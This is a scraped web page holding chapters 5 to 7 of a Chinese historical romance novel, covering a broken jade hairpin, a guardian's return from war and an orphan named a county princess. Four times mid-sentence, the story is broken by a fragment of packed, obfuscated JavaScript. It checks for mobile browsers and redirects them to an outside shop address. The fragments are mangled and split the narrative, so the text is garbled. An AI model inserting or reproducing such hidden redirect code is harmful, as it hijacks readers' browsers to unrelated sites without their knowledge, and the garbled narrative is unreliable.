玉簪落地,学堂里可闻清脆声响,簪子落在地上,一分为了三段。 “秦琉你做什么?!”月娘陡然起身,两条眉毛怒蹙,紧紧盯住小琉,“这可是爹新送我的玉簪!” “我……是晏钟天,他推了我!”小琉回过头去问罪真正的罪魁祸首。 他却两手一摆称无辜,“明明是你自己没站稳,怎么能怪我呢?不会是你赔不起,便想把罪责推给我吧。” “你!”小琉哑口无言,她心知他不过是想报半月前她偷溜出府的仇罢了。 “这个时辰该下学了吧?”门外边传来晏庭的声音。 夫子恰好出门,正在与晏庭寒暄。 小琉心里一沉,不知为何,她不想刚才发生的事被晏庭知道,内心深处,她不想他刚回府就觉得她是个惹祸精。反正她要走了,留她一丝体面吧。 小琉过去抓起碎掉的玉簪,对月娘承诺道:“玉簪我会赔你的。”知道她或有疑虑,添道,“放心,赔你的玉簪一定来路干净。” 待晏庭走进来,小琉已将碎掉的玉簪藏于袖中了。 父辈之中,许是晏庭年轻的缘故,唯有他与小辈走得亲近。可此时的晏庭不再是彼时的晏六叔了,人人都道边关苦寒,战事肆起,是个刀剑不眨眼的地方,晏庭立功回京,不可谓不大变样。 他一来,晏钟天的瞌睡散了,以前他是最爱缠着六叔的,这正房中,唯有他们才是真正嫡亲的关系,二房虽养在晏老夫人名下,实则生母出生微贱,不堪为妾。病故后,更是恍若此人从未出现在晏家。 晏家爵位世袭世降,到晏老爷这代已亡,故而子孙后代只能凭本事争功名。能有个京官,拿着朝廷俸禄,晏家这代人已心满意足,也不敢妄想复爵的事了。 学堂内众人一片寂静,月娘人机灵,一早便闻六叔已经回家,母亲百般嘱托,要和六叔打好关系,现在的朝堂,六叔可是炙手可热的人物。 “六叔万福!六叔还记得我吗,我是月娘。”月娘含羞带怯,甜笑一番,乖巧和长辈问候。 “自然记得的,八年不见,你们虽已不复当年模样,但好歹唤我一声六叔,我怎可不记得呢。”晏庭估摸刚下朝,这身崭新的朝服,衬得他格外光彩照人。 “六叔万福。”月娘开完口,其余众人也纷纷行礼。 自月娘开口,小琉心里便打鼓似的慌张,生怕月娘将事情抖落出来。 “从宫里出来,我绕远去了趟西市,买了刚新鲜出炉的胡饼和馎饦,院里小厮用几个食盒装着,你们快去趁热吃吧。”晏庭说完话,娘子和郎君们纷纷去取了。 临走前,月娘趁众人不注意,扫了眼小琉。小琉明白,无非是催她尽早还。 幸好她未说出来,小琉心里的石头落了地。 晏庭望了眼小琉,见她未去拿早膳,问道:“小琉你怎不去拿?” 小琉回道:“多谢六叔好意,早膳我已用过。天冷,我先回院子了。” 晏庭望着她的背影良久。 辞别晏庭,小琉深呼吸几口,她忍着不与他多说,因为反正她要走了,话再多的旧情也无用。当下最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341212|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急迫的,是赶紧去趟首饰铺,还月娘一只一样的玉簪。 晏庭回府,晏老夫人喜极而泣,正房的人都去了静安院,祖孙三代相拥而泣,令人为之动容。 小琉是外人,虽养在晏庭院中,但这等场合她不便参与。 前不久,晏家大郎下值便与夫人说了朝野的谣传,说六弟晏庭还活着,且立功而归。巧的是,夜里荷姝院便来人说秦琉病了,柳如因看着如今跪在老夫人跟前的晏庭,格外庆幸当夜的决定。 晏庭跪在老夫人跟前,头低垂,背微躬,“母亲在上,孩儿不孝,请受不孝子三拜。” 老夫人房中的木板被磕得“噔噔”响,三拜下去,晏庭的额头已经发红。 “你啊!”老夫人掩面忍泣,“罢了,你能平安回来我已心满意足。” 母子俩皆眼眶通红,晏庭抬首,咽下哽咽声,“儿子让母亲时常担惊受怕,请母亲再受儿子三拜!” 晏庭还要接着磕头,老夫人却不忍心了,“儿快起来!” 老夫人近些年时常为晏庭担忧,郁结于心,身子时好时坏,如今见晏庭能完好回家,老夫人的心病称得上一夜之间痊愈了。 “你向来是家中最有主见的,决定好的事情,八匹马都拉不回来,可你也心细,比你两个哥哥都甚,所以当初无论你从军的决意多么荒唐,我都允了。但你千不该万不该,不该让一家子人为你操心!送去西北的书信不说有千封也有上百封了,你可曾回过一封?朝堂大事我一个老妇人不懂,可为人母的心我有,你可曾替为娘思量过啊!” 说着说着,气血上涌,老夫人脚步不稳,晏庭忙过去扶住母亲。 “母亲如何怪儿,儿都认了,但请您莫再动气了。” 老夫人匀了匀气,喝口茶水,恢复了平静,对着一旁的丫头挥了挥手。 正房余人都候在门外,等他们母子俩说完体己话,整顿好情绪才由老夫人跟前的丫头玉荷领着进去。 晏庭对着两位哥哥和嫂嫂行礼,互相寒暄了几句,最后留老夫人休息,便各自退下了。 来到院中的大槐树下,晏羽叫住了晏庭。其余人眼观鼻,鼻观心,眼神来回逡巡一番后走了。 晏家已退出勋爵贵门,故而略知朝堂漩涡的晏羽选择避祸于礼部,但晏庭今日早朝一举,他心里是坠坠地发慌。 “六弟,你此番回京,免不了成为朝野的活靶子啊。” 早朝时,有谏官进言,晏都尉不顾朝廷的对胡政策,率军攻打哧诃的燕南城,战虽胜,却违背了圣意,理应速速让晏庭回京领罚。 龙椅上的人只垂眸浅笑,对着一旁弯腰的公公使了个眼色。 须臾,拿着哧诃降书的晏庭进了大殿,让群臣都为之一惊。 攻讦晏庭的自然是支持怀柔绥远的长孙一党,皇帝看过受降书,放声爽朗大笑,那群老臣见状也不再妄言了。 一片秋叶落至晏羽肩头,晏庭替他拂去,宽慰道:“圣上既说等都护回京,那就且等吧,赏罚未言明,大哥莫急。” 晏羽叹了声气点头,拍了拍他肩后走了。 晏庭陪老夫人吃了午膳,后回到荷姝院,本有话想找小琉说,哪知却不见人。 5. 玉簪 荷姝院这边安静如常,春芽正出来倒水,见到晏庭福了福身,“六郎君。” 晏庭点头,问道:“小琉呢?” 春芽一头雾水,“娘子不是去学堂了吗?不过按理这个时辰早该回来了,也许夫子让娘子留堂了?” 晏庭只好打转去学堂,路上遇到了晏钟天,疑惑问他:“天儿,你没去学堂吗?” 晏钟天正愁眉苦脸呢,一路过来唉声叹气,国子监补试在即,娘日夜督促他,他都要吃不好睡不好了。摸着自己日渐瘪的肚子,又长叹一声气。 晏家已不在京城贵门之列,唯有科举赚前途,可他知道自己不是学习的料子,庆幸这不还有六叔嘛! “六叔!”晏钟天热情地近身行礼。 晏庭又问了他一遍怎么不去学堂。 晏钟天解释道:“今日夫子只授上午的课啊,顾及夫子身体,我们一日只上上午或下午。”晏钟天看出六叔似乎有事,“怎么了?” 晏庭摇头轻笑,“无事,就是不见小琉。” “她啊,我看她指不定找地方哭去了。”意识到说漏嘴了,晏钟天赶紧找补,“夫子布置的课业繁重,她可能又偷偷跑出府去找她的狐朋狗友了。” “偷偷出府?”晏庭想到了昨夜行迹鬼祟的小琉,心头萦绕一种不可名状的感觉。 “对啊,秦琉老爱偷溜出府,生病了都不歇停。” “生病?”晏庭脸色陡变,两个字不自觉加重,略带了几分军营里的不怒自威。 晏钟天不觉自己说错话了,但哆嗦几下嘴,继续道:“是啊,她偷跑出府得了风寒,不过听我娘说已经痊愈了。身子刚好就惦记着往外跑,我看心已经野了……” 秦琉这般调皮、不守闺中女子规矩,哪像长安的名门闺秀,六叔肯定对她大失所望吧。 晏钟天心里冷笑。 “六叔,听说如今你武艺高强,闲暇时能否教我一二呢?” 晏庭心不在焉地应下,“你娘若应允,我便教你。” “好嘞!谢谢六叔。”若他也能在马背上立下功劳,娘就不用再逼迫他读书了。 寻不到人,晏庭只好回了院子。荷姝院本是晏庭的院子,自小琉来了,晏庭便将主屋腾给了她,自己挪去西房。 回到房中,晏庭找出了在武河郡给小琉买的系璧,这是当地人的风俗。 女子及笄之前,由家中长辈给待字闺中的女子系璧,寓意平安顺遂,圆满如意。 晏庭手中的玉璧翠绿无纹,玉身圆润光滑,由一根五彩丝线穿过,在日光下通体透亮。只待小琉回府,他便亲自送给她。 此时的小琉偷偷来了明华坊,她做堪舆师时认识了不少市井中人,认识的人多,门路也多。 明华坊有几家开业的掌柜请她勘测过风水,她出价低,办事利索,故而找她的人愈发多。 不过,除去生意之外,她很少与雇主私下联系。平日办事皆是戴帷帽,加上夜里出行,根本无人识她。 一间首饰铺的掌柜曾与小琉有过交易,今日小琉便来了这个铺子,但撇不下面子她并未暴露她秦大师的身份。 店里人不算多,进来的大多是红红绿绿的娘子。 小琉一进门,小二观其衣物气质,立马殷勤前来,“这位娘子,小店各种琳琅宝物,您看看,中意哪一种?小的为您推荐一二。” “你们这里什么都有?” 小二拍拍胸脯,“那当然!我们掌柜的可是去过西北边境,异国的各种稀宝见得数不胜数!” 既如此,小琉拿出了碎成三段的玉簪,“这个玉簪,你们这里有完整的一模一样的吗?” 小二接过手,拿起玉段在日光下仔细凝视一番,点点头,“玉确实是好玉,玉质温润细腻,触之如羊脂,玉簪上的梅花也刻得极为精致,可惜了。” 没想到晏二叔对月娘这般舍得,也是,月娘乖巧伶俐,最会哄得家中长辈高兴。 “所以你们是有还是没有?” “有。”小二笃定地说,“不过……费用嘛也不凡。” “直说,簪子值几何?” “一百两。” “呵。”小琉冷笑一声。 “你笑是何意?” 小琉这时倒十分庆幸她人虽身处闺中,却并非不知柴米油盐。 晏二叔即使再宠爱月娘,也断然不会花一百两银子做簪子,晏家一向崇尚勤俭,且晏二叔月俸仅两千多文,那就更不会如此奢靡了。 “我并不是什么富家小姐,也不是贵女,你确定你这簪子值这么多?” 小二见诓不过去,便坦然说了,“好吧,你这玉确实算不上上等玉,不过雕工诚然不错,我不过想推销一个大货给娘子,绝不是欺骗您,娘子高抬贵手,莫告诉掌柜的。” 无奸不商人,小琉想着多一事不如少一事,不欲与一个商贩为难。 “玉簪究竟价值几何?” “五十两。这回是真的,你这簪子的玉就值这些钱!” 五十两……小琉讶然。买假身份已经耗尽了十两银子,玉簪的钱一旦花出,她就所剩不多了。可她还得一路跋涉到扬州,脚程至少半月,路上还需盘缠,到了扬州生活也需银子。 五年里她做堪舆师所攒的钱不多,除去玉簪的五十两,粗略一算,剩下的银子或许只够路上的盘费了。 “娘子……你还要吗?”小二不报多大希望地问她。 小琉扭捏起来,学起曾与她讨价还价的人的腔调,“那个……我其实与你们掌柜的认识,可否价格上通融一下?” “打住!”小二这下了然了,娘子虽然穿得光鲜亮丽的,但细看衣服料子一般,气质全靠娘子的身姿撑着,“您有所不知,前几日有个自称掌柜的老母要闯进来,可我们掌柜的十岁就丧母了;昨儿个又来了个声称是掌柜抛弃的糟糠妻,可我们掌柜是出家人还俗,发誓一辈子不娶妻生子。所以,您还是乖乖交钱吧,天王老子来了也一样。” 小琉:“……” 交付了订金后,小琉这下是两手空空了,罢了,到了扬州大不了再拾起老本行干,兴许更便于找到母亲。 小琉依旧走西南小门回的晏家,到了廊下,大门方向传来叽叽喳喳的声音,须臾陆续有下人从那边过来,小琉抓住一个丫鬟问道,“大门那边发生了什么事?” 丫鬟碎发凌乱,上气不接下气地说:“宫里方才来人了!”说完就着急忙慌跑开了。 宫里?小琉一脸茫然,事关六叔吗? 就在小琉出府的时候,皇上身边的陈公公持着圣旨来了晏府。圣上命晏庭暂且不能离京,赋闲在家最宜。不知是否是为了安抚长孙党羽,晏庭被拘在了西都,来自圣上的旨意,令晏家的人吓破了胆子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341213|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可晏庭仿佛事不关己,只去安慰几句老夫人,说不用太过忧虑,祸福相依,祸到福到。 领旨之后,晏庭就心安理得跟着公公去了宫中,圣上有召。 老夫人摸了摸手中的佛珠,似乎也没对晏庭牢骚几句,招待完公公,送走一行人后也回了房中。 小琉回府时,宫中的人正好离去。 玉簪的工时长,小琉定是等不到完工之日了,便拿着剩下的银子去了月娘院中。 罗夫人爱侍弄花草,如院落的名字一样,兰苑,院子里的花草繁茂,芳香扑鼻。小琉压过一枝秋海棠,上面的露水不慎抖落在了脸上,小琉轻轻用手拭去,问扫地的婢女:“月娘可否在房中?” 腰上系着布围裙的粗使婢女回道:“回娘子,月娘子从学堂回来便一头扎进了房中,午膳都不曾出来,连罗夫人都没办法。” 小琉估摸猜中了其中一二。 学堂里听闻心娘在日夜用功,她可不得迎头赶上?月娘自以为她二人是你追我赶,实际上心娘心气高,根本未将月娘放在眼中。 房中,月娘正对着一副山水画上的题字冥想,沉吟片刻后提笔几道,起身纵观所作,越看眉头皱得越深。烦躁愈发缠绕心头,气得将纸张卷成一团扔在了地上。 纸团正扔在了小琉脚边,地上已有不少纸团,月娘的烦躁郁闷扔了一地。 “月娘……” “滚开!我不是说了没有我的允许不许进来吗?” 月娘以为又是下人来催她吃饭了,找了个撒气的口,不抬头就暴怒道。 小琉脚步顿住,迟疑几下,还是开口道:“月娘,是我秦琉。” 月娘看过来,语气冷淡:“怎么是你,有事吗?” “我方才出了趟府。” 月娘拧眉,“你又偷偷出府?你真视府规形同虚设啊。” 小琉不理睬,“我去了明华坊的首饰铺,给你定制了一个一模一样的玉簪,这是剩下的玉簪银钱,三日后你拿着钱报你的名字便可取走了。” 月娘起身,看小琉的目光渐渐带着审判,“你哪来的钱?” 月娘早已想好了对策,三日后她若赔不出来玉簪她便去找老夫人讨要说法,竟没想到她竟真的有钱。 小琉说得坦坦荡荡,“我好歹是秦家娘子,我爹自然留了钱给我。” 这话自然是假的,秦家过得凄苦,哪有什么爹留的钱。不过这些钱是她靠本事赚的,她即使说得假话心里也踏实。 月娘心有警惕,不敢轻易相信她,“你真没骗我?若是让我发现你耍什么心机,小心我让你好看!” 小琉无奈,“我钱都给你拿来了,你若不信,大可现在便遣人去明华坊的首饰铺里问一嘴,是真是假一问便知。” “谅你也不敢耍什么心机,不过你为什么不自己去取?葫芦里卖什么药呢?” 小琉支支吾吾,扭捏起来,边瞧她脸色边说:“我刚刚回府的时候被六叔撞见了,怕他生气,我不敢再出去了。” 闻言,月娘哂笑一声,“你连大伯母立的府规都能视而不见,竟会怕六叔?” 又想到学堂里六叔来的时候,她哆嗦害怕的样子,月娘似乎懂了,懂得如何拿捏秦琉了。 原来秦琉真正害怕的人是六叔。 “那好,我便收下了。”作画时的不快顿时一扫而净了。 6. 县主 处理完玉簪的事,小琉松了一口气,但随之还有更麻烦的事。 天擦黑的时候,晏庭才从宫里出来。当初与圣上做了赌约,他既已胜,目前也该是圣上兑现的时候了。 回到晏府,晏庭先去向母亲报了平安,问安后才回荷姝院。 小琉房中仍有微弱的烛光,晏庭来到门前敲了敲,“小琉,你已睡下了吗?” 门“吱呀”打开,小琉肩上披着外衫,脸上克制不住地喜悦,“六叔,你回来了。” 晏庭点头,盯着她看,“你是……在等我?” 小琉欲言又止,“府里人说白天宫里来人了,六叔又跟着进了宫,我多少听到了一些下人的碎嘴,六叔平安就好。外面凉,六叔进来坐吧。” 暌违八年了,小琉的闺房倒是没怎么变,晏庭对此间的格局仍有印象。这份熟悉,让晏庭心安不少。 晏庭安慰她,“你宽心,我没事,相信我也相信圣上。府里还没到人人自危的时候,下人敢议论主子,看来大嫂治下不严。” “府里人哪见过大场面,不过是被吓到了。” 晏庭笑出声,欣慰道:“我们小琉真的长大了,事事都能替别人考虑了。” 小琉给六叔倒了杯茶,“六叔别打趣我,快喝点热茶暖暖身子。”说话不经意间,小琉掩嘴轻咳几声。 晏庭放下茶杯,关切看向她,“小琉你生病了吗?天儿说你总是出府?” “染了风寒,不过已大好,有点咳嗽不碍事的。”小琉停顿下,似乎难以说出口,“我确实总爱出府,府里人我不会相与,亦无闺中密友,府中日子枯燥,我便时常出府寻乐。”说完小琉赧然低下头。 这话半真半假,一来她确实孤寂,二来她需出府赚钱。 “往后你想出府就出府,六叔承诺你来去自由。” 六叔依旧会包容她,小琉感到庆幸开心,但一想到别的,她的脸色顿时黯然,但笑着回道:“多谢六叔。” 二人话音落下,房中静得可闻漏断的声音。 晏庭摩挲指腹,寻不到话头,不知该如何开口。军营里向来说话做事果决雷厉的他,也吞声踯躅起来了,“是六叔亏欠你,小琉有怪六叔吗?” 小琉眼睫颤了颤,浅笑道:“六叔哪里话,是当年的我不懂事,不懂得六叔的苦衷,如今我领悟了,只会体谅六叔。” 晏庭得到这番话,哑然苦笑。以前总盼望小琉成熟沉稳,嘴边常挂“你何时能成熟些”,现在倒是贪恋起爱使性子的她了。小琉若是能一直被她呵护在伞下,一直保持着那份纯真无知又如何呢,反正他会护她一辈子。 “小琉,当时去西北确有我难言之隐,离你八年也是实实在在的亏欠。行军打仗,九死一生是家常便饭。不想家里人为我牵肠挂肚,索性省去了书信。话再多也无法弥补我之过错,小琉,往后你若成家了,六叔依旧会是你的靠柱。” 小琉忍住鼻尖的酸涩,越往下听,越明白她如今的处境。 “六叔不必自责,大丈夫当有宏图之志,我怎可成六叔的绊脚石?我只有一句话问六叔。” “你说。”晏庭摆出一副认真聆听的姿态。 小琉眼眶渐渐泛红,“六叔会永远是我的六叔吗?无论我做了什么。” “自然。” 小琉浅笑,“那就足够了。” 晏庭的声音无比坚定,小琉却有微微发颤。 以晏六叔对她的宠爱,即便她瞒他一声不吭离开,他也会原谅她的吧。 送走晏庭,小琉卧在榻上辗转反侧,反复咀嚼他的那句“往后你若成家”。是啊,晏六叔也会成家的,他娶妻,然后生子,这都是普天再正常不过的事情。她怎好再鸠占鹊巢,那般不识趣得住下去呢。 小琉也不想回秦家,秦家是比晏家还凶险的龙潭虎穴,故而去找母亲是最明智的选择。 母子连心,小琉总觉得母亲没死,至于为何没来找她,一定有母亲的苦衷。 翌日晏家人在正厅为晏庭设了接风宴,阖府热热闹闹,各个脸上扬笑,昨日的风波想必不算大事。 秦琉也需赴宴,梳妆打扮后,正好撞见出房门的晏庭。 “六叔。”小琉清脆地唤住晏庭。 晏庭一身绛紫云鹤袍,风度翩翩立于廊下,正低头看着右手,听到小琉唤他,将右手挽在身后,抬头道:“小琉,你今日怎未去学堂?” 小琉近身行礼,“今日不必去学堂。六叔这是要去正厅吗?” 晏庭点头,“一道吧,小琉,席上我有件事要宣之于众。” 能在家宴上说的,想必是件大事。小琉压下心中的疑惑,跟在六叔身侧。 家里人多,分桌而食。小琉同晏家小辈坐在另一桌,春芽跟在身后伺候。 众人坐好后下人陆续端来菜肴,热腾腾的菜气像飘动的云雾。 小琉独来独往惯了,即使桌上珍馐美馔,也难以下咽。 她鲜少学闺中礼仪,模糊的记忆中,父母恩爱,她也曾感受过父疼母爱的亲情。 可是突然有一天母亲不见了,父亲也与她天人永隔。 小琉虽身为秦家嫡长女,却被人人唾弃。活着已是不易,何谈学礼仪。来到晏家,晏庭疼她,关乎小琉的事,事事躬亲。小琉未跟着家中嬷嬷学礼教,而是每日由晏庭亲自教她读书写字。 小琉不敢动箸,偷偷抬眼看心娘,她的举手投足处处透露出名门闺秀的典雅端方,双手放于膝,仪态从容,等候下人为其布菜。每个娘子、郎君都有贴身丫鬟照看,小辈这桌不算闹腾。 另一桌,晏庭正在回敬两位兄长酒。 晏萧一饮而尽,手中的酒杯仍拿在手中,便迫不及待地问晏庭:“六郎啊,昨日宫里来人我还思忖该不会是乐极生悲了,你就给二哥透个底,圣上究竟是要罚你还是……” 话一出口,举座皆哑然。老夫人嘴角下弯明显不快,晏萧只得悻悻然坐下。 捷报传回京时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341214|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些见风使舵的人上赶着登门祝贺,圣旨一来,门庭又恢复了冷清。 晏庭浅笑,“圣上未赏我也并未罚我,功过相抵。不过,圣上赏了晏家女眷一个县主之位。” 此话令晏家人一头雾水,左右茫然相对。 晏羽问道:“这是封的哪门子县主?”前人并未有此先例啊。 老夫人也坐不住了,问坐在一旁的六郎,“朝中并无男儿行军打仗,却封赏内眷的规制,庭儿,你与圣上在打什么哑谜?” 晏庭放下酒盏,坦然笑道:“圣心难测,为人臣子,自然只能领旨谢恩了。” “既然如此,那圣上可有明说县主赏谁?”不管是谁,只要是晏家人,老夫人都跟着开心。 按照长幼尊卑,晏水心是晏家嫡长孙女,若封赏,也该是给她。 柳夫人饭间时刻注意男人们的举动,听到县主时两眼放光,希冀的目光投向心儿。 心娘正襟危坐,正在从容咀嚼,耳力不算敏捷,但听到县主之位时嘴巴不自觉放慢了。终是忍耐不住,侧身瞧了过去,与母亲的目光正好对上。心娘慢慢放下碗筷,心里竟隐隐有了期待。 罗夫人冷眼目睹了她母女二人的眼波流转,眉头微蹙,嘴里的饭菜顿时失了香味。 而后晏庭继续娓娓道来,“魏王请旨,要认小琉作义女,这县主之位自然是给小琉的。” 满堂哗然,诸人纷纷移走目光,打量起角落的秦琉。 小琉两手僵住,一脸茫然,顿时如坐针毡,众人的目光似刀,刮得她局促不安。这般感受,还是十年前入晏家门的时候体会过。 求助似的,小琉习惯看向晏庭。 柳夫人席间插嘴:“怎么会是秦琉呢?六弟你是不是……” 老夫人眯了眯眼,听到魏王时一下子了然了。 “好了,吃饭吧,菜要凉了。”老夫人打断了柳如因的问话,她只好闭嘴吃饭。 柳夫人像霜打了的落苏,心道真该掌自己嘴,偏问那出做甚,空惹得人笑话。 散席后,老夫人留了晏庭说话,其余人便告辞散去了。 晏庭走时叫住了柳夫人,“大嫂,我有一事相求。” 柳夫人受宠若惊,“六弟这说的哪的话,家人之间哪有求不求的,你直言就是了。” 抬腿欲走的罗夫人,在屏风后面闻言脚步放缓,偷听起二人的对话。 “听闻大嫂立了个没有您的准允,家中女眷不得擅自出府的规矩。” 柳夫人嘴角渐渐僵住,“哎哟,不过是为了约束小娘子,为她们安危着想罢了。” “既如此,以后可否免了对小琉的约束,我已回府,可以亲自照看她的安危。” “那是自然,小琉已是县主,我哪有能耐约束县主的自由。” 晏庭点了点头,“多谢大嫂。”而后一言不发立马去了老夫人房中。 隐蔽的罗夫人冷笑一番,用帕子捂嘴憋笑。听完墙角,静悄悄走了。 7. 往昔 突如其来的的县主封赏打得小琉措手不及。 她逃走的计划全打乱了,这可如何是好。 小琉在房中踱来踱去。 县主无疑是个亮晃晃的金帽子,而小琉之所以选择隐名出逃,一则为了远离秦家,二则自己涉世未深,恐惹祸上身殃及晏家,最重要的原因是不想晏庭知晓。 现在又来了个魏王府,传闻魏王礼贤下士,乃宗室的一股清流,而小琉行事没有章法,恐以后会牵连魏王府。 不行,她不能受赏,待六叔回来,她要向六叔问清楚。 老夫人房中,晏庭候在桌边,给母亲沏上热茶后,才撩开衣袍入座。 老夫人淡淡瞟了眼热茶并未饮,“当年你入行伍是否和琉丫头的父亲有关?” 晏庭笑了笑,“秦相于我有知遇之恩,但儿子的决意与他无关,朝中多半的人是长孙氏的党羽,科举式微,连圣上都拿根深蒂固的大族无法,我一个文官,又怎能不受其掣肘。西北逐渐壮大的哧诃部落,屡次三番挑衅我边境子民,这正是我大展身手,立功劳的好时机。” “那魏王怎会突然要收义女?魏王莫不是与秦家还有渊源?” 晏庭摇了摇头,“不是与秦家,是与秦相。魏王喜爱诗词,曾与秦相交好,但楚波门事变后,魏王就自请离京与魏王妃游山玩水去了。” 老夫人大抵懂了,这不就等同于晏家替魏王府养了这么多年小琉吗? 晏庭垂眸深思,其实他并未与母亲坦然相告。 多年前晏庭做太子伴学时,太子李邑就曾问他:对朝局有何看法? 晏庭只回道:“水能载舟,亦能覆舟。” 李邑靠着母族的势力坐稳了东宫,焉知以后的的皇位是否能坐稳? 晏庭想有一番作为,奈何官场污浊,沆瀣一气。他想做一匹驰骋的快马,太子李邑便解了马栓,任他天地自由。 如今李邑已做了皇帝,是时候将马收回来,为己所用了。 晏庭受李邑驱使,可说是皇权的象征,皇帝的手能伸到哪儿,晏庭便能去多高。 可晏庭回京并未邀功,而是只恳求圣上能兑现昔日东宫的诺言。 “他日我若凯旋,希望换得秦相之冤昭雪。” 可秦相的冤案怎可轻易翻案,赐死秦威远的那杯毒酒乃先皇所赐,如若翻案,青史岂不留下先皇昏庸的恶名?李邑是儿,自然不能做对不起老子的事。 既对不起秦家,折中考虑,圣上便将恩赐弥补给了秦威远独女秦琉。 魏王便是个不二人选。 魏王远在烟雨江南,得了皇侄的来信,便匆忙启程回京。 纳秦琉为义女,魏王打心底乐意。 这才有了县主之位的赏赐。 晏家一同跟着沾光。 想到晏家与宗室多了层关系,老夫人展颜一笑,小琉这丫头确实过得苦,往后有了魏王府的照拂,以后的路多少顺遂点。 “话说,小琉也到了该婚嫁的年纪了,有了魏王和魏王妃,倒是不用我们操心了。” 晏庭眉头不自觉蹙起,“小琉还小,何须这般快就议婚?” 老夫人轻笑一声,“十年前你说收养小琉,我只当笑话,熟承想,小琉真在晏家长成了黄花大闺女。你六叔的职责尽了,往后的路该她自己走了。” 晏庭沉默片刻,敛了敛额,说话间带有一丝难以察觉的愠意,“小琉好歹唤我一声六叔,她的婚姻大事自然也要经过我手,我看不上的郎君,小琉自然也瞧不上。”说罢起身向母亲告退。 回到院子里,小琉正站在他屋前,眼神不知盯着何方。 想到方才房中与母亲所谈,再看看站在他眼前的小琉,晏庭竟生出回来好几日,却从未仔细端详过小琉的错觉。 八年足够让人忘记过去,让人焕然一新。 十年前的秦家老母寿宴,晏庭受邀前去。 推杯换盏间,旁人的酒水无意泼到了他衣服上,晏庭只好被下人领去后院换衣服。 换好衣服出来,不远处的廊下站着一个老婆子和一个小娘子,小娘子穿着素雅,全身打扮像府里的丫鬟。 老婆子嗓门大,训斥声不断,许是下人手生犯了错。晏庭本不想打扰别人府中内宅的事,可看那边的架势似愈演愈烈,时不时有人经过乱瞟几眼,小丫鬟的头越垂越低,简直要羞愤至死。 晏庭走了过去,打断道:“这位嬷嬷,请问前院怎么走?” 郎君气度不凡,肯定是贵客,婆子骂人的气势收敛几分,笑眯眯道:“您怎往后院来了?” “方才席间衣服也贪了酒,这才来的后院。” “哪个小丫头办事这么不利索,哪能扔下郎君不带回呢?”婆子对上晏庭的脸阿谀笑道,“郎君,我这就领你过去。” 走之前还不忘白了一眼秦琉,“郎君见笑了,新来的不懂事。” 晏庭余光扫了一眼那女子,看那懵懂样貌,不过才是个女童,小小年纪却已卖身为奴,身材消瘦,两只眼睛通红,正可怜巴巴地望着他。 回到席间,晏庭脑中仍时不时回想那个眼眶湿红的女童,心中不免愤懑。秦家好歹诗礼簪缨之族,怎么对待奴仆却如此苛刻。 食毕,下人端上了浓茶。 小琉跟在队伍里,算准了位置,走向那位郎君的身边。 似是下定某种决心,小琉左脚绊右脚,连人带茶摔了过去。 不合身的衣服此时发挥了作用,短了的衣袖恰好露出她伤痕累累的右臂。 晏庭下意识扶住她,忽略溅到手上的热茶,注意全被她胳膊上令人胆寒的伤痕吸引了去。 有人摔了,举座皆惊。有打眼瞧热闹的,也有真关心的。 秦家家主乃秦琉的二叔,听说出了事,他作为东家赶紧来打圆场。结果瞧见是秦琉装丫鬟上了前厅,还闹出了这番笑话,气不打一处来。 “小琉!你怎么来了正厅?” 闲言碎语中,有人认出来了,“是秦琉吗?秦琉不就是已逝的秦相的孤女?!” 晏庭心里一沉,目光黏在她身上,秦相的女儿还在世? 市井都传秦相畏罪自尽后,秦夫人带着女儿随夫君去了。 晏庭也以为…… 秦威衡的脸色渐渐阴沉,狠狠盯住秦琉。 小琉攥紧晏庭的袍衫,躲在他身后。 秦相对晏庭有知遇之恩,旁人都议论晏庭虽有才,却靠的是贵人引荐,天下真才实学的人多了去了,哪能都入圣上眼。 唯有秦相对他正眼相待,同在东宫时,秦相也时常对他指点迷津。 晏庭奉圣命调任江宁县县令时,秦家还一片欣欣向荣,可是再回长安,便听闻了秦家的噩耗。 秦家人自然不认她是已逝的秦家大郎的女儿,秦威衡只向众人解释她是新来的下等婢子,遮遮掩掩就这么搪塞了过去。 可晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341215|199336||http|test|mini|href|location''.split(''|''),0,{})); () { 